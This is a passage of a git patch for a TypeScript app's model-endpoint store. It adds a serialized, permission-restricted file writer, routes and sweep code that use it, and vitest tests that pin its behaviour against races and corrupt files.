src/. The id `local-ollama` is reserved for the model Codeman runs on this Mac: a new endpoint may not take it, and while the record is the managed one it is not edited, deleted or re-discovered from these routes. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/custom-model-hosts-writer.ts | 76 ++++- src/web/routes/custom-model-routes.ts | 141 +++++++-- .../custom-model-endpoint-rediscovery.test.ts | 109 ++++++- test/custom-model-hosts-writer.test.ts | 239 +++++++++++++++ test/routes/custom-model-routes.test.ts | 287 +++++++++++++++++- 5 files changed, 800 insertions(+), 52 deletions(-) create mode 100644 test/custom-model-hosts-writer.test.ts diff --git a/src/custom-model-hosts-writer.ts b/src/custom-model-hosts-writer.ts index ff5fa862..5db70aed 100644 --- a/src/custom-model-hosts-writer.ts +++ b/src/custom-model-hosts-writer.ts @@ -2,9 +2,6 @@ * @fileoverview The serialized writer of `custom-model-hosts.json`, the store of the saved * custom model endpoints (src/custom-model-hosts.ts). * - * CONTRACT STAGE: the function below has its final signature and a body that throws; the body - * is written next, and every writer of the file is moved onto it then. - * * Why it exists: `writeCustomModelHosts()` writes through ONE temp file name per process and * has no queue, and `readCustomModelHosts()` reads a file that does not parse as an empty * list. Two overlapping writers (an endpoint route and the 5-minute discovery sweep) can @@ -28,13 +25,12 @@ * direct writer left is config-backup restore, which must work on a file that does not parse. */ -import type { CustomModelHost } from './custom-model-hosts.js'; -import type { ApiResponse } from './types.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { randomUUID } from 'node:crypto'; +import fs from 'node:fs/promises'; +import { dirname } from 'node:path'; +import { getDataDir } from './config/instance.js'; +import { customModelHostsPath, type CustomModelHost } from './custom-model-hosts.js'; +import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from './types.js'; /** A write refused because the existing `custom-model-hosts.json` must not be overwritten. The message is user-facing. */ export class CustomModelHostsWriteRefusedError extends Error { @@ -44,6 +40,49 @@ export class CustomModelHostsWriteRefusedError extends Error { } } +/** The list a write starts from. Only a missing or empty file is an empty list; anything else that is not an array is refused. */ +async function readHostsForWrite(path: string): Promise<CustomModelHost[]> { + let raw: string; + try { + raw = await fs.readFile(path, 'utf-8'); + } catch (err) { + if ((err as NodeJS.ErrnoException).code === 'ENOENT') return []; + throw new CustomModelHostsWriteRefusedError( + `Cannot read ${path} (${(err as Error).message}), so this change was not saved.` + ); + } + // An empty file holds no endpoint to lose. + if (raw.trim() === '') return []; + let parsed: unknown; + try { + parsed = JSON.parse(raw); + } catch { + parsed = undefined; + } + if (!Array.isArray(parsed)) { + throw new CustomModelHostsWriteRefusedError( + `${path} is not a valid JSON list, so this change was not saved (saving would have replaced every other model endpoint in it, with its API key). Fix or delete the file, or restore it from a config backup, then try again.` + ); + } + return parsed as CustomModelHost[]; +} + +async function writeHostsFile(path: string, hosts: CustomModelHost[]): Promise<void> { + // Through a symlink: the rename lands on the real file. + const target = await fs.realpath(path).catch(() => path); + await fs.mkdir(dirname(target), { recursive: true }); + const tmp = `${target}.${process.pid}.${randomUUID()}.tmp`; + try { + await fs.writeFile(tmp, JSON.stringify(hosts, null, 2), { mode: 0o600 }); + await fs.rename(tmp, target); + } catch (err) { + await fs.rm(tmp, { force: true }).catch(() => {}); + throw err; + } +} + +let mutationChain: Promise<unknown> = Promise.resolve(); + /** What a mutation returns: the list to write (absent: write nothing) and what the caller gets back. */ export interface CustomModelHostsMutation<T> { /** The whole list to store. Absent: the file is left as it is. */ @@ -63,10 +102,23 @@ export function mutateCustomModelHosts<T>( fn: (hosts: CustomModelHost[]) => CustomModelHostsMutation<T>, configDir?: string ): Promise<T> { - return notImplemented('mutateCustomModelHosts', fn, configDir); + const run = mutationChain.then(async () => { + // Resolved inside the chain: the data dir is read when the mutation runs, like the file. + const path = customModelHostsPath(configDir ?? getDataDir()); + const current = await readHostsForWrite(path).catch((err: unknown) => { + console.warn(`[custom-model] write refused: ${getErrorMessage(err)}`); + throw err; + }); + const mutation = fn(current); + if (mutation.hosts) await writeHostsFile(path, mutation.hosts); + return mutation.result; + }); + mutationChain = run.catch(() => {}); + return run; } /** A refused write answers 409 CONFLICT with the fix; any other failure stays OPERATION_FAILED. Like `settingsWriteErrorResponse()`. */ export function customModelHostsWriteErrorResponse(err: unknown): ApiResponse<never> { - return notImplemented('customModelHostsWriteErrorResponse', err); + if (err instanceof CustomModelHostsWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message); + return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err)); } diff --git a/src/web/routes/custom-model-routes.ts b/src/web/routes/custom-model-routes.ts index 26207239..4516b516 100644 --- a/src/web/routes/custom-model-routes.ts +++ b/src/web/routes/custom-model-routes.ts @@ -12,6 +12,21 @@ * connect time, redirects included — a save-time hostname check alone would * let `models.example` resolve to 169.254.169.254 later. The endpoint is * admin-configured, so this is defence in depth rather than the only gate. + * + * Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()` + * (src/custom-model-hosts-writer.ts): the four writing routes and the re-discovery sweep run + * one at a time, each check ("the id is free", "the record still exists") inside the same + * serialized step as its write, and a file that does not parse is refused with 409 rather than + * overwritten. They used to read, change and write on their own, through one shared temp file + * name: a route and the sweep could tear the file, and the next writer then saved a list that + * held only its own record. + * + * The local model install (src/local-model/) keeps ONE record here under a reserved id + * (`LOCAL_MODEL_ENDPOINT_ID`). A new endpoint may not take that id. While the record is the + * managed one (`isManagedLocalEndpoint()`: the local model state file records it as ours) it + * is not edited, deleted or re-discovered from here: its `models` must stay the one model the + * install checked, and its `baseUrl` the port of the runtime Codeman supervises. It is changed + * and removed through the local model routes. */ import type { FastifyInstance, FastifyRequest } from 'fastify'; @@ -22,7 +37,9 @@ import { getDataDir } from '../../config/instance.js'; import { isBlockedWebviewUrl } from '../webview-egress-policy.js'; import { egressBlockedReason, webviewFetch } from '../webview-egress.js'; import { CustomModelHostSchema, MAX_DISCOVERED_CONTEXT_TOKENS } from '../schemas.js'; -import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js'; +import { readCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js'; +import { customModelHostsWriteErrorResponse, mutateCustomModelHosts } from '../../custom-model-hosts-writer.js'; +import { isLocalModelEndpointId, isManagedLocalEndpoint } from '../../local-model/connect.js'; import type { CliEntry } from '../../config/cli-registry/types.js'; const CODEMAN_CONFIG_DIR = getDataDir(); @@ -795,20 +812,30 @@ export async function refreshAllCustomModelHosts(): Promise<void> { const hosts = await readCustomModelHosts(dataDir); for (const host of hosts) { if (isBlockedWebviewUrl(host.baseUrl)) continue; + // The local model's own record keeps the one model its install checked: whatever else the + // runtime lists (a model somebody pulled through its port) must not become launchable. + if (await isManagedLocalEndpoint(host.id)) continue; let result: DiscoveryResult; try { result = await discoverModels(host); } catch { continue; // unreachable this cycle — try again next tick, not fatal to the sweep } - // Re-read + splice by id rather than reusing the array captured above: an - // admin editing or deleting an endpoint via the API mid-sweep must win, - // not be silently overwritten by a refresh that started before their change. - const current = await readCustomModelHosts(dataDir); - const index = current.findIndex((item) => item.id === host.id); - if (index === -1) continue; // deleted mid-sweep - current[index] = applyDiscoveredModels(current[index], result); - await writeCustomModelHosts(dataDir, current); + // Spliced by id inside the serialized writer, onto the list as it is THEN, rather than + // the array captured above: an admin editing or deleting an endpoint via the API mid-sweep + // must win, not be silently overwritten by a refresh that started before their change. + try { + await mutateCustomModelHosts<void>((current) => { + const index = current.findIndex((item) => item.id === host.id); + if (index === -1) return { result: undefined }; // deleted mid-sweep + current[index] = applyDiscoveredModels(current[index], result); + return { hosts: current, result: undefined }; + }, dataDir); + } catch { + // A file that must not be overwritten (it does not parse) refuses every write of this + // sweep the same way. The writer logged why; nothing more can be saved this cycle. + return; + } } } @@ -897,6 +924,21 @@ export async function detectCustomModelSwapDisplacements( return displacements; } +/** A write the serialized writer refused (the file does not parse) is 409 with the fix; any other failure stays in the envelope. */ +function refusedHostsWrite(err: unknown, reply: { code: (n: number) => unknown }): ApiResponse<never> { + const response = customModelHostsWriteErrorResponse(err); + if (!response.success && response.errorCode === ApiErrorCode.CONFLICT) reply.code(409); + return response; +} + +/** The answer to an edit or a delete of the record the local model install manages. */ +function managedEndpointRefusal(): ApiResponse<never> { + return createErrorResponse( + ApiErrorCode.INVALID_INPUT, + 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.' + ); +} + export function registerCustomModelRoutes(app: FastifyInstance): void { app.get('/api/model-endpoints', async (req): Promise<RedactedHost[]> => { if (isMultiUserMode() && !isAdmin(req)) return []; @@ -913,12 +955,22 @@ export function registerCustomModelRoutes(app: FastifyInstance): void { } const badDefault = invalidDefaultModel(host); if (badDefault) return badDefault; - const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR); - if (hosts.some((item) => item.id === host.id)) { - return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists'); + if (isLocalModelEndpointId(host.id)) { + return createErrorResponse( + ApiErrorCode.INVALID_INPUT, + `The endpoint id "${host.id}" is reserved for the model Codeman runs on this Mac. Pick another id.` + ); + } + try { + return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => { + if (hosts.some((item) => item.id === host.id)) { + return { result: createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists') }; + } + return { hosts: [...hosts, host], result: { success: true, data: { host: redactApiKey(host) } } }; + }, CODEMAN_CONFIG_DIR); + } catch (err) { + return refusedHostsWrite(err, reply); } - await writeCustomModelHosts(CODEMAN_CONFIG_DIR, [...hosts, host]); - return { success: true, data: { host: redactApiKey(host) } }; }); app.put('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ host: RedactedHost }>> => { @@ -931,26 +983,37 @@ export function registerCustomModelRoutes(app: FastifyInstance): void { } const badDefault = invalidDefaultModel(incoming); if (badDefault) return badDefault; - const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR); - const index = hosts.findIndex((item) => item.id === id); - if (index === -1) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found'); - const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]); - const next = [...hosts]; - next[index] = host; - await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next); - return { success: true, data: { host: redactApiKey(host) } }; + if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal(); + try { + return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => { + const index = hosts.findIndex((item) => item.id === id); + if (index === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') }; + const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]); + const next = [...hosts]; + next[index] = host; + return { hosts: next, result: { success: true, data: { host: redactApiKey(host) } } }; + }, CODEMAN_CONFIG_DIR); + } catch (err) { + return refusedHostsWrite(err, reply); + } }); app.delete('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ id: string }>> => { const denied = adminOnly(req, reply); if (denied) return denied; const { id } = req.params as { id: string }; - const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR); - await writeCustomModelHosts( - CODEMAN_CONFIG_DIR, - hosts.filter((item) => item.id !== id) - ); - return { success: true, data: { id } }; + if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal(); + try { + return await mutateCustomModelHosts<ApiResponse<{ id: string }>>((hosts) => { + const next = hosts.filter((item) => item.id !== id); + // Nothing to take out: the file is left as it is, and the answer is the same. + return next.length === hosts.length + ? { result: { success: true, data: { id } } } + : { hosts: next, result: { success: true, data: { id } } }; + }, CODEMAN_CONFIG_DIR); + } catch (err) { + return refusedHostsWrite(err, reply); + } }); app.post( @@ -966,12 +1029,12 @@ export function registerCustomModelRoutes(app: FastifyInstance): void { if (isBlockedWebviewUrl(host.baseUrl)) { return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Endpoint base URL is not allowed'); } + // The local model's own record is not probed: it lists the one model its install checked, + // and that list is the answer. + if (await isManagedLocalEndpoint(id)) return { success: true, data: { models: host.models ?? [] } }; + let result: DiscoveryResult; try { - const result = await discoverModels(host); - const next = [...hosts]; - next[index] = applyDiscoveredModels(host, result); - await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next); - return { success: true, data: { models: result.models } }; + result = await discoverModels(host); } catch (err) { const blocked = egressBlockedReason(err); return createErrorResponse( @@ -979,6 +1042,18 @@ export function registerCustomModelRoutes(app: FastifyInstance): void { blocked ? `Endpoint refused: ${blocked}` : `Could not reach endpoint: ${describeFetchError(err)}` ); } + try { + // Onto the record as it is NOW: the probe above took a moment, and an edit made + // meanwhile must not be replaced by the copy read before it. + return await mutateCustomModelHosts<ApiResponse<{ models: string[] }>>((current) => { + const at = current.findIndex((item) => item.id === id); + if (at === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') }; + current[at] = applyDiscoveredModels(current[at], result); + return { hosts: current, result: { success: true, data: { models: result.models } } }; + }, CODEMAN_CONFIG_DIR); + } catch (err) { + return refusedHostsWrite(err, reply); + } } ); diff --git a/test/custom-model-endpoint-rediscovery.test.ts b/test/custom-model-endpoint-rediscovery.test.ts index c93dd42e..dcb27155 100644 --- a/test/custom-model-endpoint-rediscovery.test.ts +++ b/test/custom-model-endpoint-rediscovery.test.ts @@ -13,7 +13,9 @@ * directly plus the mocked webviewFetch dispatcher). */ import { describe, it, expect, vi, beforeEach } from 'vitest'; -import { getDataDir } from '../src/config/instance.js'; +import { readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dataPath, getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath } from '../src/custom-model-hosts.js'; import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js'; import { webviewFetch } from '../src/web/webview-egress.js'; @@ -498,7 +500,9 @@ describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits if (url.pathname === '/running') { return new Response( JSON.stringify({ - running: [{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }], + running: [ + { model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }, + ], }), { status: 200 } ); @@ -602,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list) }); }); + +describe('the sweep and the serialized writer', () => { + it('an endpoint created while the sweep was probing another one is kept', async () => { + const dir = getDataDir(); + await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]); + fetchMock.mockImplementation(async () => { + // An admin saves a second endpoint between the sweep's read and its write. The sweep + // must splice its result onto the list as it is then, not write back the one it read. + const current = await readCustomModelHosts(dir); + if (!current.some((h) => h.id === 'added')) { + await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]); + } + return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }); + }); + + await refreshAllCustomModelHosts(); + + const hosts = await readCustomModelHosts(dir); + expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']); + expect(hosts[0].models).toEqual(['qwen3']); + }); + + it('never writes over a store that stopped parsing while the sweep ran', async () => { + const dir = getDataDir(); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await writeCustomModelHosts(dir, [ + host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }), + host({ id: 'b', baseUrl: 'http://localhost:8081' }), + ]); + const broken = '[{"id":"a","apiKey":"sk-keep"},'; + fetchMock.mockImplementation(async () => { + writeFileSync(customModelHostsPath(dir), broken); + return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }); + }); + + await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined(); + + // It used to read the broken file as an empty list and carry on; it is left as it is. + expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken); + // And the sweep stopped there: the second endpoint was not probed for nothing. + expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true); + vi.restoreAllMocks(); + }); +}); + +describe('the sweep leaves the local model record alone', () => { + const STATE = () => dataPath('local-model.json'); + const MANAGED: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, + }; + + beforeEach(() => { + rmSync(STATE(), { force: true }); + }); + + it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => { + const dir = getDataDir(); + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }) + ); + await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]); + fetchMock.mockImplementation( + async () => + new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 }) + ); + + await refreshAllCustomModelHosts(); + + const hosts = await readCustomModelHosts(dir); + // Our record is exactly what the install wrote: no new model, no discovery stamp. + expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED); + // Every other endpoint is refreshed as before. + expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']); + for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435'); + rmSync(STATE(), { force: true }); + }); + + it('a record with that id that nobody installed is refreshed like any other', async () => { + const dir = getDataDir(); + await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]); + fetchMock.mockImplementation( + async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 }) + ); + await refreshAllCustomModelHosts(); + expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']); + }); +}); diff --git a/test/custom-model-hosts-writer.test.ts b/test/custom-model-hosts-writer.test.ts new file mode 100644 index 00000000..42087ed2 --- /dev/null +++ b/test/custom-model-hosts-writer.test.ts @@ -0,0 +1,239 @@ +/** + * @fileoverview The serialized writer of `custom-model-hosts.json` + * (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it. + * + * What is pinned: + * - two mutations started at the same moment both land (the fault the writer ends: the + * endpoint routes and the discovery sweep used to read, change and write on their own); + * - the check a caller makes runs in the same step as its write; + * - a file that does not parse is refused and left byte for byte, and the refusal never + * repeats the file's text (it can hold an API key); + * - the file is written 0600 through a temp file that is gone afterwards; + * - no module of src/ calls `writeCustomModelHosts()` any more. + * + * Port: N/A (no server; files in a temp folder). + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + CustomModelHostsWriteRefusedError, + customModelHostsWriteErrorResponse, + mutateCustomModelHosts, +} from '../src/custom-model-hosts-writer.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; + +const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({ + id, + label: id, + baseUrl: `http://${id}.example:8080`, + ...extra, +}); + +let dir: string; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-')); +}); + +afterEach(() => { + rmSync(dir, { recursive: true, force: true }); + vi.restoreAllMocks(); +}); + +describe('mutateCustomModelHosts', () => { + it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => { + const result = await mutateCustomModelHosts((hosts) => { + expect(hosts).toEqual([]); + return { hosts: [host('a')], result: 'added' }; + }, dir); + expect(result).toBe('added'); + expect(await readCustomModelHosts(dir)).toEqual([host('a')]); + }); + + it('an empty file is an empty list too: it holds no endpoint to lose', async () => { + writeFileSync(customModelHostsPath(dir), ' \n'); + await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir); + expect(await readCustomModelHosts(dir)).toEqual([host('a')]); + }); + + it('writes nothing when the mutation returns no list', async () => { + writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')])); + const before = statSync(customModelHostsPath(dir)).mtimeMs; + const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir); + expect(result).toBe(1); + expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before); + expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')])); + }); + + it('two mutations started together both land: the second sees what the first wrote', async () => { + const seen: string[][] = []; + const add = (id: string) => + mutateCustomModelHosts((hosts) => { + seen.push(hosts.map((item) => item.id)); + return { hosts: [...hosts, host(id)], result: id }; + }, dir); + const results = await Promise.all([add('first'), add('second')]); + expect(results).toEqual(['first', 'second']); + expect(seen).toEqual([[], ['first']]); + expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']); + }); + + it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => { + const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`); + await Promise.all( + ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir)) + ); + expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids); + // Every temp file was renamed over the target: only the one file is left. + expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']); + }); + + it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => { + const create = (label: string) => + mutateCustomModelHosts<'created' | 'exists'>((hosts) => { + if (hosts.some((item) => item.id === 'same')) return { result: 'exists' }; + return { hosts: [...hosts, host('same', { label })], result: 'created' }; + }, dir); + expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']); + expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]); + }); + + it('hands the mutation a list it may change in place', async () => { + writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')])); + await mutateCustomModelHosts((hosts) => { + hosts[1] = { ...hosts[1], label: 'changed' }; + return { hosts, result: undefined }; + }, dir); + expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']); + }); + + it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => { + writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 }); + await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir); + expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600); + }); + + it('writes through a symlink: the real file changes and the link stays a link', async () => { + const real = join(dir, 'real-hosts.json'); + writeFileSync(real, '[]'); + symlinkSync(real, customModelHostsPath(dir)); + await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir); + expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]); + expect(await readCustomModelHosts(dir)).toEqual([host('a')]); + }); + + describe('a file that must not be overwritten', () => { + const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},'; + + it.each([ + ['text that does not parse', broken], + ['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'], + ['a JSON string', '"sk-do-not-leak"'], + ])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => { + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(customModelHostsPath(dir), content); + const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined })); + await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError); + expect(fn).not.toHaveBeenCalled(); + expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content); + expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']); + // Neither the error nor the log repeats the file, which holds a key. + const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err); + expect((error as Error).message).not.toContain('sk-do-not-leak'); + expect((error as Error).message).toContain('custom-model-hosts.json'); + expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak'); + }); + + it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => { + writeFileSync(customModelHostsPath(dir), broken); + expect(await readCustomModelHosts(dir)).toEqual([]); + }); + + it('a refused mutation does not stop the ones after it', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(customModelHostsPath(dir), broken); + const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir); + const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-')); + try { + const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other); + await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError); + expect(await next).toBe('ok'); + expect(await readCustomModelHosts(other)).toEqual([host('a')]); + } finally { + rmSync(other, { recursive: true, force: true }); + } + }); + }); + + it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => { + writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')])); + const thrown = mutateCustomModelHosts(() => { + throw new Error('boom'); + }, dir); + const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir); + await expect(thrown).rejects.toThrow('boom'); + await next; + expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']); + }); +}); + +describe('customModelHostsWriteErrorResponse', () => { + it('a refused write is 409 CONFLICT with the fix', () => { + const response = customModelHostsWriteErrorResponse( + new CustomModelHostsWriteRefusedError('the file is not a valid JSON list') + ); + expect(response).toEqual({ + success: false, + error: 'the file is not a valid JSON list', + errorCode: 'CONFLICT', + }); + }); + + it('any other failure stays OPERATION_FAILED', () => { + expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({ + success: false, + errorCode: 'OPERATION_FAILED', + error: 'EACCES', + }); + }); +}); + +describe('every writer goes through the serialized writer', () => { + const root = fileURLToPath(new URL('../', import.meta.url)); + + function sourceFiles(folder: string, out: string[] = []): string[] { + for (const name of readdirSync(folder)) { + const path = join(folder, name); + if (statSync(path).isDirectory()) { + if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out); + } else if (name.endsWith('.ts')) { + out.push(path); + } + } + return out; + } + + /** The file without its comment lines: a comment may name the function it explains. */ + const code = (path: string): string => + readFileSync(path, 'utf8') + .split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); + + it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => { + const callers = sourceFiles(join(root, 'src')) + .filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path))) + .map((path) => path.slice(root.length)); + expect(callers).toEqual(['src/custom-model-hosts.ts']); + }); + + it('the endpoint routes and the sweep name the writer, five times', () => { + const routes = code(join(root, 'src/web/routes/custom-model-routes.ts')); + // create, update, delete, discover-models and the re-discovery sweep. + expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5); + expect(routes).not.toContain('writeCustomModelHosts'); + }); +}); diff --git a/test/routes/custom-model-routes.test.ts b/test/routes/custom-model-routes.test.ts index afadff5c..7253c9aa 100644 --- a/test/routes/custom-model-routes.test.ts +++ b/test/routes/custom-model-routes.test.ts @@ -8,7 +8,10 @@ * been bypassed. * Port: N/A (app.inject, no real port needed) */ -import { describe, it, expect, vi, afterEach } from 'vitest'; +import { describe, it, expect, vi, afterEach, beforeEach } from 'vitest'; +import { readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { dataPath, getDataDir } from '../../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js'; import { registerCustomModelRoutes } from '../../src/web/routes/custom-model-routes.js'; import { webviewFetch } from '../../src/web/webview-egress.js'; import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js'; @@ -524,10 +527,9 @@ describe('context-length discovery from the /v1/models listing', () => { defaultContextLength: 65536, }); fetchMock.mockResolvedValue( - new Response( - JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }), - { status: 200 } - ) + new Response(JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }), { + status: 200, + }) ); await app.inject({ method: 'POST', url: '/api/model-endpoints/ep-ctx-keep/discover-models' }); @@ -580,3 +582,278 @@ describe('defaultContextLength (the user-set fallback discovery never overwrites } }); }); + +describe('every write goes through the serialized writer', () => { + const HOSTS = () => customModelHostsPath(getDataDir()); + + beforeEach(() => { + rmSync(HOSTS(), { force: true }); + }); + + afterEach(() => { + fetchMock.mockReset(); + rmSync(HOSTS(), { force: true }); + vi.restoreAllMocks(); + }); + + it('ten creates sent at once all land (each used to read, change and write on its own)', async () => { + const { app } = await setup(); + const ids = Array.from({ length: 10 }, (_, i) => `burst${i}`); + const responses = await Promise.all( + ids.map((id) => + app.inject({ + method: 'POST', + url: '/api/model-endpoints', + payload: { id, label: id, baseUrl: 'http://localhost:8200', apiKey: `sk-${id}` }, + }) + ) + ); + for (const res of responses) expect(res.json().success).toBe(true); + const stored = await readCustomModelHosts(getDataDir()); + expect(stored.map((host) => host.id).sort()).toEqual([...ids].sort()); + // Every key survived: none of the writes replaced the list with its own record. + for (const host of stored) 